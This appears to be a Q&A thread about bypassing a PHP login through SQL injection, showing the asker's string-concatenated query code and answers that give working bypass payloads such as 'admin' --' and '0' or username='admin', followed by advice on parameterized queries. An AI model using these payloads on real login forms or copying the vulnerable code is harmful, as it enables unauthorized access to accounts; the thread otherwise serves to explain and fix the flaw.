LOGIN by SQL Injection?

Question

I have the following code on my website and want to login by using SQL Injection. I tried some codes for it but couldnt have a result.

$username = $_POST['username'];
$password = $_POST['password'];

$query = "SELECT * FROM users WHERE username='$username' AND password='$password' LIMIT 1";
$sql = mysql_query($query);

if( mysql_num_rows($sql) == 1 )
{
    $row = mysql_fetch_array($sql);
    $_SESSION['id'] = $row['id'];
}
else
{
    echo $query;
} 

Here are the codes I tried. In the first one I tried from username:

I mark my injected part as comment to make it easier to understand.

Username entered: admin' or id=1 ; --

SELECT * FROM users WHERE username='admin' or id=1 ; -- ' AND password='0' LIMIT 1"

And also I tried to enter by pass. With this code: 0' or '1'='1

 SELECT * FROM users WHERE username='admin' AND password='0' or '1'='1' LIMIT 1"

What do I do wrong?

Answer 1

You can just use this is in the Username parameter.

admin%27%20--%20

OR

admin%27%20OR%20%271

This will definitely break the above authentication.

if this authentication page is called as like this.

http://www.example.com/login.php

Using POST parameters username and password.(That is entered by a textfiled from an HTTP form or anything).

You can just fill the Username field with above two parameters.

The above mentioned parameters are just URL encoded.If it is decoded,it will resemble like this.

admin' --

OR

admin' OR '1

Answer 2

Let's say the table users contains 3 rows (BTW: a plaintext password?!? I sure hope not!!! See this for best practice):

 id | username    | password
  1   admin         letmein
  2   user3537391   Passw0rd
  3   Piskvor       123456

Each of the queries that you have managed to inject will now match every one of the rows, due to operator precedence:

SELECT * FROM users WHERE username='admin' AND password='0' or '1'='1' LIMIT 1

evaluates as

SELECT * FROM users WHERE (username='admin' AND password='0') or '1'='1' LIMIT 1

Note that the rightmost term will match any row. So, if( mysql_num_rows($sql) == 1 ) evaluates to if ( 3 == 1 ), which is if (false). Therefore, the application works, but only by accident.

(Why "by accident"? Let us try to craft a different injection: Entering 0' or username='admin would give us

SELECT * FROM users WHERE username='admin' AND password='0' or username='admin' LIMIT 1

The first term (username='admin' AND password='0') won't match, but the second one will match 1 row exactly, thereby granting passwordless access.)

---

How to fix this:

• Ideally, use parametrized queries - see this question. mysql_query is deprecated and will be removed.

• If you REALLY, REALLY don't want to fix your code, at the very least escape the inputs. THIS IS ONLY AN EMERGENCY STOPGAP MEASURE, NOT A REAL SOLUTION - YOU SHOULD NOT BE WRITING NEW CODE LIKE THIS:

  $username = mysql_real_escape_string($_POST['username']); $password = mysql_real_escape_string($_POST['password']);